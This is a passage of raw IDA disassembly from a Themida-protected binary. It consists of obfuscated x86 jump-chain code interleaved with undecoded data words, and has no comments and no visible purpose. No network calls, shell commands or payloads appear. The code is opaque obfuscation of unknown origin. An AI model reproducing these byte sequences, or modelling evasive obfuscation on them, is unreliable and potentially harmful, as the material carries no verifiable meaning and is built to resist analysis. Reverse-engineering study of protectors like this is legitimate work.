		dd 674602ADh, 83241C8Bh, 0C38104C4h, 7CA0279h, 3AEB8143h
		dd 8107A40Dh, 25085EC3h, 5BDF89CFh, 2D05BD55h, 0E5813EFFh
		dd 193349DEh, 5CE6E581h, 55E970BBh
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549C7F:				; CODE XREF: Themida_:00550EE7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5476BB
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 2310h, 0BD55DBF7h, 526531B0h, 36C5E581h
		dd 0F581219Ah, 56DF44A0h, 815DEB01h, 0DDB41EEBh, 2DE9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549CBA:				; CODE XREF: Themida_:0054A72Cj
		pop	ecx
		jmp	loc_55083B
; ---------------------------------------------------------------------------
		dd 9796852h, 0E95A7FD1h, 7295h
; ---------------------------------------------------------------------------


loc_549CCC:				; CODE XREF: Themida_:0055001Ej
		shl	edx, 1
		xor	[edi+24h], edx
		push	ecx
		push	edx
		mov	edx, 92C4BCDh
		shr	edx, 2
		jmp	loc_546CA2
; ---------------------------------------------------------------------------
aIssm1		db '┴АИ╛1',0
		dw 100h
		dd 241C8BDAh, 4C481h, 14870000h, 0D51AE924h, 295BFFFFh
		dd 86BB53D9h, 157D53Eh,	1CE95BD9h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549D0B:				; CODE XREF: Themida_:00546593j
		push	esi
		mov	esi, 68A052E7h
		xor	edx, esi
		pop	esi
		push	edx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54D693
; ---------------------------------------------------------------------------


loc_549D24:				; CODE XREF: Themida_:005478A0j
		push	eax
		mov	eax, 1
		push	edx
		jmp	loc_55241F
; ---------------------------------------------------------------------------
		dd 68241C89h, 1229h, 0FFCEF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549D3D:				; CODE XREF: Themida_:00551284j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_551B95
; ---------------------------------------------------------------------------
dword_549D54	dd 0FF2434FFh, 81582434h, 4ECh,	24148900h, 71E95A54h
					; DATA XREF: Themida_:00546218o
		db 0F5h, 2 dup(0FFh)
byte_549D6B	db 66h			; DATA XREF: Themida_:00546330o
		dd 8324048Bh, 1C8904ECh, 525B5424h, 4BAh, 3DC2E900h, 0E1D10000h
		dd 3C58E981h, 0C18134EEh, 45F1D986h, 0FA653505h, 0D726E977h
		dd 0FF68FFFFh, 89000024h, 1BE9242Ch, 89000008h,	622559C8h
		dd 57068604h, 0FFFE49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549DB5:				; CODE XREF: Themida_:00548690j
		not	ebx
		not	ebx
		add	ebx, 2478BA84h
		jmp	loc_54CDB0
; ---------------------------------------------------------------------------
		dd 0B551D830h, 8E5C0A9h, 0F603EDC0h, 6EDC0D5h, 83F580h
		dd 0F12FE9E8h, 4BDFFFFh, 1000000h, 2EE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549DEA:				; CODE XREF: Themida_:0054E038j
		inc	edi
		jmp	loc_54BF58
; ---------------------------------------------------------------------------


loc_549DF0:				; CODE XREF: Themida_:00548950j
		add	ebx, 4
		push	ecx
		jmp	loc_54C17B
; ---------------------------------------------------------------------------


loc_549DFC:				; CODE XREF: Themida_:0054E34Cj
		mov	ebp, 23B60336h
		push	eax
		jmp	loc_550EAF
; ---------------------------------------------------------------------------


loc_549E07:				; CODE XREF: Themida_:00546B34j
		pop	edx
		shl	edx, 6
		not	edx
		xor	edx, 2D641A29h
		jmp	loc_5519BD
; ---------------------------------------------------------------------------
		dd 4C6835Dh, 1E04E9h, 0B1685700h, 5F71174Bh, 21EF8147h
		dd 8923AC64h, 7E055FF9h, 0E917D22Ah, 0FFFFE02Bh, 22A6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549E42:				; CODE XREF: Themida_:0054D16Aj
		pop	esp
		push	0CB9h
		mov	[esp], esi
		jmp	loc_54D8A6
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4BD242Ch,	1000000h, 3C875DEFh, 24248B24h
		dd 0FFF2AEE9h, 241489FFh, 0A4412BAh, 1EA836Dh, 38FEC281h
		dd 0F2810E2Ch, 57AD66D9h, 1BD2F281h, 0D5012C9Bh, 8324148Bh
		dd 0ACE904C4h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549E93:				; CODE XREF: Themida_:00547A95j
		mov	ecx, 7FD6076Ah
		xor	ecx, 0AF18687Eh
		xor	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54EC0A
; ---------------------------------------------------------------------------
byte_549EA9	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:00546410o
		dd 0D8686602h, 489662Ch, 0C631E924h, 0E95BFFFFh, 0FFFFCA94h
		dd 159CB89h, 0EA015BDDh, 0B4BD555Dh, 45418C74h,	0E63E9h
		db 0
; ---------------------------------------------------------------------------


loc_549ED5:				; CODE XREF: Themida_:00551A44j
		push	eax
		mov	eax, 52AE66EDh
		jmp	loc_54C20C
; ---------------------------------------------------------------------------
aFpvsF		db 'fPVИ╪f',0
		align 4


loc_549EE8:				; CODE XREF: Themida_:0054BE13j
		mov	[esp], eax
		push	62FBh
		mov	[esp], edx
		pop	eax
		pop	edx
		jmp	loc_54C4D6
; ---------------------------------------------------------------------------


loc_549EFA:				; CODE XREF: Themida_:0054EE83j
		push	58DDh
		jmp	loc_548536
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 0FFF894E9h,	0D8015EFFh
		dd 764BE9h, 2C48100h, 80000000h, 0C300A3C3h, 4773E9h, 1926800h
		dd 14890000h, 484CBA24h, 29E904FAh, 5CFFFFF3h, 0E99CC884h
		dd 0FFFFC5A3h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 2824248Bh
		dd 0E99C2404h, 0FFFFC587h, 0D7CB81h, 0CB81275Dh, 4EFB3B6Ah
		dd 5297BA52h, 0EAC164BAh, 6E2C106h, 8102EAC1h, 2487DEAh
		dd 5AD331A7h, 0DA84E951h, 0BE56FFFFh, 0B45FFAEFh, 6DE9F131h
		dd 0BF000088h, 53841B72h, 0FFE724E9h, 0B45066FFh, 66E728D7h
		dd 0E9FD0058h, 206Eh, 405E089h,	0E9000000h, 0FFFFCBF8h
; ---------------------------------------------------------------------------


loc_549FC0:				; CODE XREF: Themida_:0054BB18j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54662A
; ---------------------------------------------------------------------------
aB3hEsB		db '│м3H',0Ah
		db '*EИ╨B',0
		db 0
; ---------------------------------------------------------------------------


loc_549FE3:				; CODE XREF: Themida_:0054A634j
		mov	ebx, 1Ch
		jmp	loc_5478A5
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd offset dword_58EA80
		dd 24148BD0h, 815D5455h, 4C5h, 17B85000h, 35122E6Fh, 2F3E0778h
		dd 0B05D0F7h, 576C0802h, 0F79997BFh, 5FF8292Eh,	3D38E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A021:				; CODE XREF: Themida_:00549C2Ej
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54BA9E
; ---------------------------------------------------------------------------
		db 66h
		dd 2D66D801h, 56667049h, 5114BE66h, 0E9F00166h,	3708h
		dd 840FC909h, 0FFFFC779h, 404568h, 76136800h, 34890000h
		dd 0E9E68924h, 7763h, 4C481h, 5EE90000h, 5CFFFFF5h, 0FF242C89h
		dd 5D042474h, 8B24048Fh, 85682424h, 89000072h, 5350241Ch
		dd 0A3E9D388h, 81000020h, 4ECh,	0CD44E900h, 8166FFFFh
		dd 6675F7F2h, 1D96E281h, 2510E955h, 1C890000h, 34FF5424h
		dd 89575B24h, 4C781E7h,	53000000h, 6A18B951h, 0F1811619h
		dd 6932B00h, 4BCEC181h,	0E18177AFh, 5F12B7Eh, 8105E1C1h
		dd 210BE6F1h, 59CB891Bh, 8108E3C1h, 72604F3h, 5BDF0100h
		dd 0E9243C87h, 64F5h, 0E6D8E949h
		db 2 dup(0FFh)
word_54A0F6	dw 51ACh		; DATA XREF: Themida_:00546234o
		dd 0C58020B5h, 0E9E42C99h, 43F0h, 2B9h,	36EB8100h, 812BE908h
		dd 5159CBC3h, 50CB012Ah, 167DE9h, 1C68100h, 53000000h
		dd 670CC0BBh, 5BDE3148h, 3685657h, 0E973401Bh, 4A56h, 815FFB29h
		dd 5819F5F3h, 0B9F3810Dh, 8117B493h, 0E4786CEEh, 8FC68115h
		dd 105D862h, 16FCE9DEh,	565D0000h, 0E6E9E689h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A163:				; CODE XREF: Themida_:00548902j
		add	eax, ebx
		pop	ebx
		mov	ecx, [eax]
		push	dword ptr [esp]
		jmp	loc_547154
; ---------------------------------------------------------------------------
		dd 8959CF01h, 243C8BFBh, 2E3E9h, 24048900h, 9D0E7BB8h
		dd 8BC3012Ah, 0C4812404h, 4, 3F7EC381h,	0EB816093h, 459B629Bh
		dd 0C381C301h, 459B629Bh, 7D5EE9h, 0C0B60F00h, 518734FFh
		dd 0A222E4B9h, 244C296Bh, 34FF5904h, 261CE924h,	8B660000h
		dd 0C4832414h, 0DD58E902h, 0E289FFFFh, 4C281h, 0C2830000h
		dd 24148704h, 5AD0015Ch, 90BB5352h, 89540535h, 55D5E9DAh
		dd 2C330000h, 24248B24h, 0FFD801E9h, 0EC8157FFh, 4, 83242489h
		dd 0E9042404h, 1FC7h
; ---------------------------------------------------------------------------


loc_54A20C:				; CODE XREF: Themida_:00550918j
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_54E79C
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	137Ch
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, 4
		push	edx
		jmp	loc_54BBCE
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFFF373h
; ---------------------------------------------------------------------------


loc_54A25C:				; CODE XREF: Themida_:00551C19j
		pop	eax
		xor	ebp, esi
		pop	esi
		jmp	loc_54EA08
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFD9A0E9h, 28E95AFFh, 89000021h, 4B9240Ch, 1000000h
		dd 7AD0E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A282:				; CODE XREF: Themida_:00550602j
		xchg	ebp, [esp]
		jmp	loc_54B91D
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 4C4815Ch,	52000000h, 24148B5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		push	61835DDBh
		push	dword ptr [esp]
		jmp	loc_54CED6
; ---------------------------------------------------------------------------


loc_54A2C3:				; CODE XREF: Themida_:0054A4C6j
		pop	esi
		push	ebp
		jmp	loc_54E52B
; ---------------------------------------------------------------------------
		dw 0C68h
		dd 8900007Eh, 0D8BB241Ch, 0F7145B2Ah, 31EB31DBh, 45EB31DDh
		dd 0C383EB87h, 73B3E9FFh, 0C8B0000h, 4C48324h, 1E22E951h
		db 2 dup(0)
word_54A2F6	dw 0FF64h		; DATA XREF: Themida_:00546294o
		dd 0C1EDE932h, 0C481FFFFh, 4, 292B951h,	0CD316C31h, 0CF2E9h
		dd 5BF88800h, 5A58C388h, 2858F380h, 0D0005BD8h,	0FFF2E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A325:				; CODE XREF: Themida_:00546BD6j
		pop	ebp
		jmp	loc_547923
; ---------------------------------------------------------------------------


loc_54A32B:				; CODE XREF: Themida_:005476BCj
		push	209Dh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		push	eax
		mov	eax, 34816E49h
		shl	eax, 7
		push	eax
		jmp	loc_550008
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 835C2434h, 248904ECh, 24048324h, 24048F04h
		dd 4240483h, 8324048Fh,	1C8904ECh, 4BB24h, 0B6E90000h
		dd 0B0FFFFD0h, 0E9C300FBh, 0FFFFE21Eh, 0FFBA5259h, 811D0E36h
		dd 0C03BF9EAh, 0ABB5355h, 135CE79h, 0EA815BDAh,	0FD1C740Ch
		dd 14C7C181h, 0D1015A9Ah, 14C7E981h, 505A5A9Ah,	47B9E9h
		dd 81FB2900h, 484602EBh, 0C1EB8160h, 57437175h,	916F6BFh
		dd 4EFC10Bh, 7A01C781h,	0C3E90C85h, 28FFFFECh, 805966E8h
		dd 0E95247EBh, 501h, 83240C8Bh,	272C04C4h, 0EEE9D828h
		db 3Ah,	2 dup(0)
aMssj8		db '╛SИJ8',0            ; DATA XREF: Themida_:00546250o
		align 2


loc_54A3F2:				; CODE XREF: Themida_:0054F079j
		mov	[esp], esi
		jmp	loc_5497DE
; ---------------------------------------------------------------------------
		dw 5F59h
		dd 4C381h, 7FE90000h, 66FFFFC3h, 0B5240C89h, 66EA30AFh
		dd 20F28059h, 51FFEA80h, 0C1FE9CB1h, 0BAE980h, 0D72059CAh
		dd 10F1E9h, 5B545300h, 4C381h, 97E90000h, 0BF00000Eh, 4
		dd 4247C01h, 7568585Fh,	89000057h, 0A1BE2434h, 510EA625h
		dd 8422DBB9h, 56E18103h, 0E9335436h, 75D2h, 815E5456h
		dd 4C6h, 6CE6E900h, 0F7660000h,	4EC83F1h, 54243C89h, 83243C8Bh
		dd 0C78104C4h, 4, 4F4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A489:				; CODE XREF: Themida_:00551A55j
		sub	cl, 9Eh
		mov	bx, [esp]
		jmp	loc_5484DE
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 8Bh
		dd 0C483243Ch, 48EA8104h, 1041B7Bh, 0D285E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A4AA:				; CODE XREF: Themida_:005475F1j
		pop	ebx
		mov	edx, ecx
		pop	ecx
		jmp	loc_551A43
; ---------------------------------------------------------------------------
aSuo_0		db '[ИЦo',0
		db 0
; ---------------------------------------------------------------------------


loc_54A4B9:				; CODE XREF: Themida_:0054B721j
		pop	edx
		not	esi
		inc	esi
		push	esi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_54A2C3
; ---------------------------------------------------------------------------
		db 58h
		dd 12F7E9h
		db 0
byte_54A4D1	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005463FCo
		dd 441D6851h, 0B1E90000h, 8900006Eh, 2BA2414h, 1000000h
		dd 24148BD7h, 4C481h, 3C870000h, 1B12E924h, 0F1010000h
		dd 8124348Bh, 4ECh, 1C8BE900h, 0C1810000h, 0FFFFFFFFh
		dd 0CFEBF181h, 0CA29DFFEh, 0C4F2E959h, 0E589FFFFh, 4C581h
		dd 0C5810000h, 2, 5C242C87h, 66D83166h,	81241C8Bh, 4ECh
		dd 242C8900h, 0BA52E589h, 4, 148BD501h,	4C48324h, 8702C583h
		dd 248B242Ch, 3712E924h, 895C0000h, 4CB22414h, 0E988EA80h
		dd 7E1Dh
; ---------------------------------------------------------------------------


loc_54A56C:				; CODE XREF: Themida_:0054EBF2j
		mov	[esp], edi
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	edx
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_54AE78
; ---------------------------------------------------------------------------
word_54A586	dw 8B66h		; DATA XREF: Themida_:00546320o
		dd 4768240Ch, 0E900007Ch, 4CAh,	592434FFh, 0E904C483h
		dd 3A82h, 89241C89h, 4D2EE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A5AA:				; CODE XREF: Themida_:0055106Dj
		pop	ebx
		push	edi
		jmp	loc_54A779
; ---------------------------------------------------------------------------
byte_54A5B1	db 0FFh, 77h, 38h	; DATA XREF: Themida_:00546298o
		dd 8B2434FFh, 8957240Ch, 0E1BCE9E7h, 40BDFFFFh,	89000000h
		dd 6C12E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A5CE:				; CODE XREF: Themida_:005512BAj
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54CAF0
; ---------------------------------------------------------------------------


loc_54A5EF:				; CODE XREF: Themida_:loc_546C89j
					; Themida_:0055163Bj
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_547A22
; ---------------------------------------------------------------------------


loc_54A5F8:				; CODE XREF: Themida_:00547A8Ej
		push	ebp
		jmp	loc_550110
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 8B042444h, 0C4832404h, 4055804h, 52000000h, 4BAh, 11E70500h
		dd 0D0017083h, 8311E72Dh, 0F8E95A70h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A627:				; CODE XREF: Themida_:00549686j
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_547C43
		push	ebx
		jmp	loc_549FE3
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0C8B665Ch, 34F76824h, 3C890000h, 66F16824h, 0E9540000h
		dd 0FFFFEBF9h, 0DCE94A04h, 100001Ah, 70EF81C7h,	58380421h
		dd 4C781h, 3C330000h, 243C3124h, 0E9243C33h, 0FFFFE137h
; ---------------------------------------------------------------------------


loc_54A678:				; CODE XREF: Themida_:0054B419j
		pop	ebp
		jmp	loc_55005F
; ---------------------------------------------------------------------------


loc_54A67E:				; CODE XREF: Themida_:0054DC16j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_547470
; ---------------------------------------------------------------------------


loc_54A69F:				; CODE XREF: Themida_:0054F46Fj
		add	ecx, 704900B8h
		add	ecx, ebp
		sub	ecx, 704900B8h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5489C8
; ---------------------------------------------------------------------------
		db 5, 86h, 5Fh
		dd 2C8B01CBh, 4C48124h,	57000000h, 35B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A6CD:				; CODE XREF: Themida_:005508CDj
		sub	esi, 560C497Ah
		jmp	loc_547395
; ---------------------------------------------------------------------------
		dd 5358C729h, 85692FBBh, 5BDF0162h, 0EF81C701h,	6285692Fh
		dd 6061B850h, 0C7014BD4h, 8324048Bh, 1AE904C4h,	8BFFFFD1h
		dd 0EC812424h, 4, 50241C89h, 9911ECB8h,	0F92D4830h, 89EF7F06h
		dd 0E3C158C3h, 3D08E905h, 0F6800000h, 4328E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A72A:				; CODE XREF: Themida_:005476E5j
		xor	esi, ecx
		jmp	loc_549CBA
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C2h
		dd 445CE904h, 2C810000h, 9F5BE424h, 2404010Ch, 0E4240481h
		dd 560C9F5Bh, 2E6DDDBEh, 24448112h, 0D56E3804h,	0FFBE5631h
		dd 8136AD73h, 0A8082444h, 2924F962h, 81082474h,	0A808246Ch
		dd 5E24F962h, 3CCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A779:				; CODE XREF: Themida_:0054A5ACj
		not	dword ptr [esp]
		jmp	loc_54D418
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0F8h
		dd 59580888h, 5CE95A5Bh, 89FFFFBDh, 74FF241Ch, 1C8B0424h
		dd 4C48324h, 8B24048Fh,	4D22424h, 0E3E99C24h, 87000026h
		dd 835C2404h, 3C3302C7h, 243C3124h, 8B243C33h, 85662424h
		dd 24E99CC8h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A7C7:				; CODE XREF: Themida_:0054F38Fj
		push	ebx
		jmp	loc_551921
; ---------------------------------------------------------------------------


loc_54A7CD:				; CODE XREF: Themida_:00549697j
		xchg	ecx, [esp]
		jmp	loc_54BDAF
; ---------------------------------------------------------------------------


loc_54A7D5:				; CODE XREF: Themida_:0054DA79j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 17DA2644h
		push	ebx
		mov	ebx, 799F35FBh
		dec	ebx
		sub	ebx, 20C8B945h
		and	edx, ebx
		pop	ebx
		shl	edx, 8
		not	edx
		sub	edx, 2DDBFBFDh
		add	edi, edx
		pop	edx
		jmp	loc_54CC9F
; ---------------------------------------------------------------------------
		dd 5704C783h, 42474FFh,	24048F5Fh, 3514E9h, 49106800h
		dd 88E90000h, 31FFFFF0h, 0C33240Ch, 0E9515C24h,	0FFFFDC48h
		dd 405h, 4C08300h, 5C240487h, 0FFDC08E9h, 4C381FFh, 81000000h
		dd 4ECh, 240C8900h, 2B9h, 59CB0100h, 5C241C87h,	0E9E1F766h
		dd 2BE4h, 641E781h, 0C7814642h,	78B82B9Bh, 6EA3EF81h, 0FE31798Dh
		dd 0E92434FFh, 3D0Dh
; ---------------------------------------------------------------------------


loc_54A888:				; CODE XREF: Themida_:00547752j
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54D631
; ---------------------------------------------------------------------------


loc_54A8A6:				; CODE XREF: Themida_:0054FE40j
		mov	edx, ebp
		pop	ebp
		jmp	loc_54FCF6
; ---------------------------------------------------------------------------


loc_54A8AE:				; CODE XREF: Themida_:005474EBj
					; Themida_:0054FBD0j
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54DAAF
; ---------------------------------------------------------------------------
		db 45h,	0C1h, 0EDh
		dd 2EC58104h, 0E9EA31DBh, 0FFFFE876h, 24148B5Eh, 5E08950h
		dd 4, 5864E9h, 80DAB600h, 0C2E951C6h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A8E7:				; CODE XREF: Themida_:0054E251j
		add	ecx, 0FFFFFFFFh
		and	ecx, 5C9A0027h
		jmp	loc_5521E0
; ---------------------------------------------------------------------------
		dd 74B7F781h, 0F74F1A10h, 9AC781D7h, 154EC65h, 2434FFFDh
		dd 4C4815Fh, 55000000h,	42474FFh, 81242C8Bh, 4C4h, 24048F00h
		dd 6624248Bh, 9C2424D3h, 0FFCF21E9h, 4EC81FFh, 89000000h
		dd 16B7241Ch, 0FFF098E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A941:				; CODE XREF: Themida_:0054747Dj
		mov	ecx, esp
		jmp	loc_5496B3
; ---------------------------------------------------------------------------


loc_54A948:				; CODE XREF: Themida_:005472A6j
		xor	[esp+4], esi
		jmp	loc_550322
; ---------------------------------------------------------------------------


loc_54A951:				; CODE XREF: Themida_:005493A8j
		neg	eax
		inc	eax
		sub	eax, 25396720h
		push	ecx
		mov	ecx, 59FD0C4Eh
		dec	ecx
		not	ecx
		inc	ecx
		add	ecx, 5F8789CEh
		add	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		push	998h
		mov	[esp], esp
		jmp	loc_549702
; ---------------------------------------------------------------------------


loc_54A98D:				; CODE XREF: Themida_:0055083Fj
		jmp	loc_5464EB
; ---------------------------------------------------------------------------


loc_54A992:				; CODE XREF: Themida_:0055138Bj
		xor	ecx, 4F4102E8h
		mov	edx, ecx
		pop	ecx
		jmp	loc_54DBC3
; ---------------------------------------------------------------------------
		dd 0D047C681h, 0F28949C0h, 4543E9h, 0B3E95400h,	2C00002Eh
		dd 0EC815A0Eh, 4, 0FFC898E9h, 8BF029FFh, 0C4832434h, 512C0504h
		dd 0D8012BF7h, 129DBF57h, 69E97698h, 5E000012h,	24440166h
		dd 48B6602h, 2C48324h, 24048F66h, 0BF665766h, 1660002h
		dd 6602247Ch, 0BAEDE95Fh, 0E950FFFFh, 4D26h, 5066DBF6h
		dd 5EE2E9h, 24048F00h, 0FFBAD6E9h, 0BB535AFFh, 72D95B72h
		dd 4B04EBC1h, 665BBF57h, 0FB317BE7h, 0E9EB815Fh, 817CCAF3h
		dd 0FE4603C2h, 81DA0157h, 0FE4603EAh, 259DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA42:				; CODE XREF: Themida_:00546C84j
		pop	edi
		or	edi, ecx
		pop	ecx
		jmp	loc_547E81
; ---------------------------------------------------------------------------


loc_54AA4B:				; CODE XREF: Themida_:0054CEF0j
		mov	eax, esi
		push	dword ptr [esp]
		jmp	loc_55221F
; ---------------------------------------------------------------------------
aXZs		db 'X)яZИ`',0Ah,0
		align 2
aI4TSG		db '┴4$T^И=G',0
		align 4
		dd 0F703E3C1h, 45B951D3h, 41249A55h, 0F749E1D1h, 0A5C181D9h
		dd 314F8ACBh, 0E99359CBh, 575Eh
; ---------------------------------------------------------------------------


loc_54AA88:				; CODE XREF: Themida_:0054C180j
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55012C
; ---------------------------------------------------------------------------


loc_54AAA5:				; CODE XREF: Themida_:0054CB94j
		inc	edx
		add	edx, 0BF9F577Eh
		sub	[edi+24h], edx
		pop	edx


loc_54AAB0:				; CODE XREF: Themida_:loc_550338j
		push	621Ah
		mov	[esp], ebx
		push	ecx
		jmp	loc_548067
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 7E670A20h, 7DEABB53h, 0F3816479h, 7D6B5C4Bh,	167AF381h
		dd 0D9213DC7h, 16E1815Bh, 0E9074C37h, 533Dh, 269EF281h
		dd 0D12116DBh, 8324148Bh, 0E95704C4h, 0FFFFDEDDh
dword_54AAF8	dd 24048B66h, 8904EC83h, 5A542414h, 0E9E28952h,	0F1Dh
					; DATA XREF: Themida_:005462A8o
		dd 0E953E289h, 533Ah
dword_54AB14	dd 8B2434FFh, 8352240Ch, 248904ECh, 24048124h, 4, 8324148Bh
					; DATA XREF: Themida_:0054634Co
		dd 0C28104C4h, 4, 8704C283h, 0E95C2414h, 74A6h,	87242C31h
		dd 87D2F7D5h, 4F91E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AB4E:				; CODE XREF: Themida_:0054E844j
		pop	ebx
		pop	esi
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5483D8
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 6B16F124h, 0B9515D7Dh, 7D6B16F1h, 0FF59CD01h
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 290E2FE4h
		jmp	loc_5468BF
; ---------------------------------------------------------------------------


loc_54AB81:				; CODE XREF: Themida_:0054BD17j
		sub	[esp+4], esi
		push	eax
		push	ebx
		mov	ebx, 727E70A5h
		mov	eax, ebx
		pop	ebx
		jmp	loc_54D961
; ---------------------------------------------------------------------------
		dd 0FEA9B753h, 0E2C780C7h, 4B15152h, 0CA0010B2h, 12EA8059h
		dd 0F280C2FEh, 94C28001h, 8090B151h, 0CF0087C1h, 81D72859h
		dd 4ECh, 24048900h, 0C4807BB4h,	80DCF67Dh, 0EC804BECh
		dd 79C4801Fh, 8B58E728h, 0C4832414h, 5BFA8804h,	7303E9h
		dd 34FF5B00h, 3A4BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ABEE:				; CODE XREF: Themida_:0054FCF9j
		pop	edx
		jmp	loc_54F5D8
; ---------------------------------------------------------------------------


loc_54ABF4:				; CODE XREF: Themida_:0054CAC3j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_549C08
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 53E08950h, 0D525A6BBh, 0DEEB8136h, 0E9267E56h, 0FFFFC068h
		dd 295FF931h, 0FE8959CFh, 5F2434FFh, 4C481h, 44E90000h
		dd 0C100003Ah, 0C58103E5h, 0E8F03494h, 47BEE9h,	2424D300h
		dd 0B8A9E99Ch, 8B54FFFFh, 0C4812414h, 4, 4C281h, 0BE560000h
		dd 12A37763h, 6B6168h, 28C4E900h, 1C890000h, 50F5B324h
		dd 3CE9E2B0h, 81FFFFC1h, 372EC0EDh, 5DEB2925h, 7AC4C381h
		dd 0EB813399h, 32E6639Ah, 0C381C329h, 32E6639Ah, 7AC4EB81h
		dd 0C3813399h, 3CA32E40h, 578CE9h, 242C3100h, 8B242C33h
		dd 0C4832424h, 680E6804h, 0C890000h, 0E5E95724h, 8100001Bh
		dd 0FB052EF7h, 11F78105h, 81C005B4h, 2808B4C3h,	81FB0112h
		dd 2808B4EBh, 0D3015F12h, 1289EB81h, 685A533Eh,	69E0h
		dd 0FFF580E9h, 0E95166FFh, 726Ch
dword_54ACEC	dd 8B2434FFh, 0C4812404h, 4, 5C98E9h, 4C38300h,	60E1E9h
					; DATA XREF: Themida_:00546378o
		db 0
; ---------------------------------------------------------------------------

